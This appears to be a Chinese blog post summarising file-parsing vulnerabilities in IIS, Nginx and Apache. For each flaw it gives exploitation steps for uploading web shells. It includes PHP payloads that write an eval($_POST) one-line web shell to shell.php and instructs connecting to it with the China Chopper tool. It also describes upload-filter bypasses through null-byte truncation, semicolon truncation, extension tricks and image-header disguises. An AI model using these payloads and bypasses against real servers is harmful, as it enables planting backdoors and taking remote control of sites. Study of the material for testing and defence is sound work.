1. 程式人生 > >檔案解析漏洞小結

檔案解析漏洞小結

一、IIS 5.x/6.0解析漏洞利用方法有兩種

1.目錄解析

/xx.asp/xx.jpg

漏洞原理:在網站下建立名字為 xx.asp的資料夾,其目錄內的任何副檔名的檔案都被IIS當作asp檔案來解析並執行。(php的也是一樣)

漏洞利用:

 例如建立目錄 images.php,那麼如果把這個寫有一句話木馬的1.jpg檔案上傳進images.php這個目錄下面,那麼http://127.0.0.1/images.php/1.jpg 這個就是一個後門地址,可以直接用菜刀去連線

2.檔案解析

xx.asp;.jpg (分號截斷)

漏洞原理:在IIS6.0下的伺服器預設不解析“;”後面的內容,也就是說xx.asp;.jpg會被伺服器看成是xx.asp,解析成了asp檔案

漏洞利用:上傳一個寫有一句話的1.asp;.jpg木馬檔案就可以直接用菜刀連線了(或者直接上傳一個大馬也可以直接訪問了)

IIS6.0 預設的可執行檔案除了asp還包含這三種

/xx.asa

/xx.cer

/xx.cdx

二、IIS 7.x/ Nginx <8.03解析漏洞

Nginx漏洞原理:
Nginx預設是以CGI的方式支援PHP解析的(即預設Fast-CGI為開啟狀態),普遍的做法是:上傳一個名字為1.jpg,內容為:

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的檔案(其實就是利用了fputs這個函式),然後訪問1.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php

·IIS7.5解析漏洞

IIS7.5的漏洞與nginx的類似,都是由於php配置檔案中,開啟了cgi.fix_pathinfo,而這並不是nginx或者iis7.5本身的漏洞。

 三、Nginx <8.03 空位元組程式碼執行漏洞

漏洞原理:Ngnix在遇到%00空位元組時與後端FastCGI處理不一致,導致可以在圖片中嵌入PHP程式碼然後通過訪問xxx.jpg%00.php來執行其中的程式碼

影響版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

四、利用apache解析漏洞繞過伺服器端副檔名檢測:

漏洞原理:Apache 是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷. 這種漏洞存在於使用module模式與php結合的所有版本的Apache。

利用方法:將木馬命名為 【1.php.adc】,在連線菜刀時,應該是http://.../1.php

五,IIS7.0,7.5和Nginx<8.03畸形解析漏洞(寫webshell漏洞)

原理:在上傳檔案所在目錄下建立一個一句話木馬檔案

實現過程:新建一個1.txt檔案,內容為:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>')?>

將檔案儲存成1.jpg格式,上傳到伺服器,假設上傳路徑為/upload,

上傳成功後,直接訪問/upload/1.jpg,然後我們會發現/upload目錄下建立了一個一句話木馬檔案shell.php

六,空位元組程式碼繞過漏洞,也叫神奇的00截斷,此處的00指的是16進位制的00

檔名00截斷:直接上實現過程,,,

1)第一種方法:上傳檔名為1.php.jpg格式的圖馬檔案,抓包後,在php後面加上一個空格字元,然後到hex中將php後面的空格字元對應的20改為00後放行即可。

2)第二種方法:上傳檔名為1.php%00.jpg格式的圖馬檔案,抓包後,將%00進行url解碼後放行即可。

請求包中包含上傳目錄的,可以嘗試對上傳目錄進行00截斷,原理都一樣,話不多說,直接上實現過程,,,,

實現過程:上傳路徑/upload/,直接改成/upload/%00,再將%00進行url解碼後放行即可

七,一句話繞過:

(1).00截斷——計算機遇到’\0’字元,會認為該字元結束

方法:在抓到的包中,轉到hex,找到檔名.php.jpg對應的地方將2e改為00(2e是字元‘.’對應的hex值)

或者直接在.php後面加上%00然後選中%00,對其url-decode處理

(2)針對檔案內容檢測,最常用的就是圖片馬了,(它檢測內容的時候,是根據檔案開頭是否有GIF89A這些,以此來判斷是否是圖片)

很全的一個一句話各種繞過的一個網址:https://blog.csdn.net/jaivy/article/details/77611738